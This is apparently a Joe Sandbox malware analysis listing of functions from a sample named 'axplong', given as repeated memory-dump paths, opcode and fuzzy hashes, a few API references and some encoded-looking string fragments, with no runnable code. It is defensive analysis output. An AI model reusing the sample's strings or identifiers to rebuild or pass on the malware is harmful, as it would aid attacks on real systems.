                        Function 00D1E440 Relevance: 14.8, Strings: 11, Instructions: 1000COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$WWt=$fed3aa
                        • API String ID: 0-214772295
                        • Opcode ID: f5dff47abc98291e42d9b218d802b484b81608c9675d573a579ff8ddce20e670
                        • Instruction ID: dbddd67e5738d8053b936f0c38b768f8b3e9be49385becb76b2f60602bb06e3c
                        • Opcode Fuzzy Hash: f5dff47abc98291e42d9b218d802b484b81608c9675d573a579ff8ddce20e670
                        • Instruction Fuzzy Hash: 7982B270904248EBEF14EF68D9497DDBBB6EB55308F508188E805673C2D7759A88CBF2
                        Function 00D53068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: __floor_pentium4
                        • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                        • API String ID: 4168288129-2761157908
                        • Opcode ID: f2b253b0e13ef89eff3dc0f134b9609edd8890d93ff67c322d152c36b2a68b7c
                        • Instruction ID: 254464dc40a59633cdf06cc45d5791f8070a6cf19a409ce20ef124c65ff28bbd
                        • Opcode Fuzzy Hash: f2b253b0e13ef89eff3dc0f134b9609edd8890d93ff67c322d152c36b2a68b7c
                        • Instruction Fuzzy Hash: 33C23A71E046288FDF25CE28DD407AAB7B5EB48346F1441EADC4DE7240E774AE898F61
                        Function 00D52BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
                        • Instruction ID: 65d8fa8e6d5ad99c596faf79347dd73fe061ca6783c2aa9b43f2d897b43711fd
                        • Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
                        • Instruction Fuzzy Hash: 64F15E71E002199FDF14CFA9D8806AEB7B1FF49315F15826AEC15A7344D731AE49CBA0
                        Function 00D2CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetSystemTimePreciseAsFileTime.KERNEL32(?,00D2CE82,?,?,?,?,00D2CEB7,?,?,?,?,?,?,00D2C42D,?,00000001), ref: 00D2CB33
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: Time$FilePreciseSystem
                        • String ID:
                        • API String ID: 1802150274-0
                        • Opcode ID: f30cf5099b4c480597792f5bc24dc33d582ab351f74be683c0b82f566fc5cf88
                        • Instruction ID: a1bbec8ebbda0caa163122f10ee561df10ce3d2d2be3db6586b3bcb47cf955e4
                        • Opcode Fuzzy Hash: f30cf5099b4c480597792f5bc24dc33d582ab351f74be683c0b82f566fc5cf88
                        • Instruction Fuzzy Hash: 9ED0223251327CD3CE012B90BC048ADBB088F04B183041121E808A3220CBD1AC404BF5
                        Function 00D47D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: 0
                        • API String ID: 0-4108050209
                        • Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
                        • Instruction ID: f4fdaa4f31605f848c80f5ccddad46c2f80b6275102ac446582d8f1bc785fa26
                        • Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
                        • Instruction Fuzzy Hash: B651BD70A0C68A9BDF3C8A3888957BE679ADF51340F1C0A7DF482E7682DB11DD499371
                        Function 00D14CF0 Relevance: .7, Instructions: 701COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: b1fb3a1b4e553e08773468c6d15244c72c61d3d4a2eccc49d2babfd473214535
                        • Instruction ID: aa7ac69a52da40e4ac326e10ab59e5168e60671a204c92882046bca5e957d609
                        • Opcode Fuzzy Hash: b1fb3a1b4e553e08773468c6d15244c72c61d3d4a2eccc49d2babfd473214535
                        • Instruction Fuzzy Hash: 242260B3F516144BDB0CCB9DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9159644
                        Function 00D56F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: f35d1b8d7bcde6772776d3f6d2e426e7a6a1eb87353d63702194bc606fb53caa
                        • Instruction ID: a74b7bf68ede89135263498a2ccbe8175d068c1c2f0127d6bb5a89f570005609
                        • Opcode Fuzzy Hash: f35d1b8d7bcde6772776d3f6d2e426e7a6a1eb87353d63702194bc606fb53caa
                        • Instruction Fuzzy Hash: 8DB158316146089FDB14CF2CD486A657BF0FF45366F298658EC9ACF2A1C335E986CB50
                        Function 00D2D312 Relevance: .2, Instructions: 172COMMON
                        Download Yara Rule
                        APIs
                        • ___std_exception_copy.LIBVCRUNTIME ref: 00D1247E
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: ___std_exception_copy
                        • String ID:
                        • API String ID: 2659868963-0
                        • Opcode ID: 7320fcba8c4eb7b1986017ca2218c329435626eb1d8ed9e9d8e206a73c37ed38
                        • Instruction ID: 073584e97d6c3a77accd5f4b20dfff6e3ad332538dec3adf489a8bc5cc805c55
                        • Opcode Fuzzy Hash: 7320fcba8c4eb7b1986017ca2218c329435626eb1d8ed9e9d8e206a73c37ed38
                        • Instruction Fuzzy Hash: 58518EB19007258FEB15CF54E8857ADB7F5FB28314F28856AD448EB294E770A980CF70
                        Function 00D14AF0 Relevance: .2, Instructions: 158COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 3364675745debd7b2e135aaca819fc6d7f9dc0541309c045176b369dae07c872
                        • Instruction ID: 57c56e4c44872f453c4adf4c6fc20581f281ecce429ee8343bc4991bab0bd441
                        • Opcode Fuzzy Hash: 3364675745debd7b2e135aaca819fc6d7f9dc0541309c045176b369dae07c872
                        • Instruction Fuzzy Hash: B051B07060C3918FC319CF2D951523ABBF1AF95301F084A9EE0DA87292DB74DA44CBA2
                        Function 00D5777B Relevance: .1, Instructions: 104COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: f619d87ce11db77122f504fe3a5a4f4d02048eb4ec6092e6a91d28a2bfc648fe
                        • Instruction ID: 0a6f13df586f8b9531deebcde22871bbce059216330e8b6b6c42a336de5c4624
                        • Opcode Fuzzy Hash: f619d87ce11db77122f504fe3a5a4f4d02048eb4ec6092e6a91d28a2bfc648fe
                        • Instruction Fuzzy Hash: E421B673F205394B7B0CC47E8C5727DB6E1C78C541745423AE8A6EA2C1D968D917E2E4
                        Function 00D5765B Relevance: .1, Instructions: 81COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 1da477c491b32e069c556cc897cbb936f2d8142164ba178c25eee3db14103663
                        • Instruction ID: ccde52b87bad042d046b3c66e4ee8177d7dd2ffb6f044c34d24bec10488de993
                        • Opcode Fuzzy Hash: 1da477c491b32e069c556cc897cbb936f2d8142164ba178c25eee3db14103663
                        • Instruction Fuzzy Hash: ED117723F30C255A675C816D8C1727AA5D6DBD825071F533ADC26E7384E994DE23D2A0
                        Function 00D58720 Relevance: .1, Instructions: 76COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                        • Instruction ID: fd628e7281573669cd9b07d2500e30b90411a4587e0248e28bb3c0ab959205ea
                        • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                        • Instruction Fuzzy Hash: A7110B7720014147EE04862DC9F45B6A795EADD323B3C4375DC52AB758ED22D94DFA20
                        Function 04F30DEA Relevance: .1, Instructions: 51COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2786865143.0000000004F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_4f30000_axplong.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 73b1bafa2cea973871167a531ef5901b224fbda19360b88a5a9f8c40b96c6ec6
                        • Instruction ID: b33f7fa90b2506b45819be3ad09456f573050ebb4783bb58a4a354e2a44971a3
                        • Opcode Fuzzy Hash: 73b1bafa2cea973871167a531ef5901b224fbda19360b88a5a9f8c40b96c6ec6
                        • Instruction Fuzzy Hash: 24F0E5EB3481513EB101A0517F68AF7776EE2C2332330857BF442C8805EAD91E8B6031
                        Function 00D4645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 06515ef656d914af42bc8b510207b71a9ed38900a80796b95b70fa641c5d32f0
                        • Instruction ID: 69403c7d1b270ae2a06108420bc3771eaa62294b9262089d8e10a72aa022fb0f
                        • Opcode Fuzzy Hash: 06515ef656d914af42bc8b510207b71a9ed38900a80796b95b70fa641c5d32f0
                        • Instruction Fuzzy Hash: 64E0C230140608AFCF267F24DC08D583B1AEF42348F045C10F8094A223CB75ED82C9B1
                        Function 00D4A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
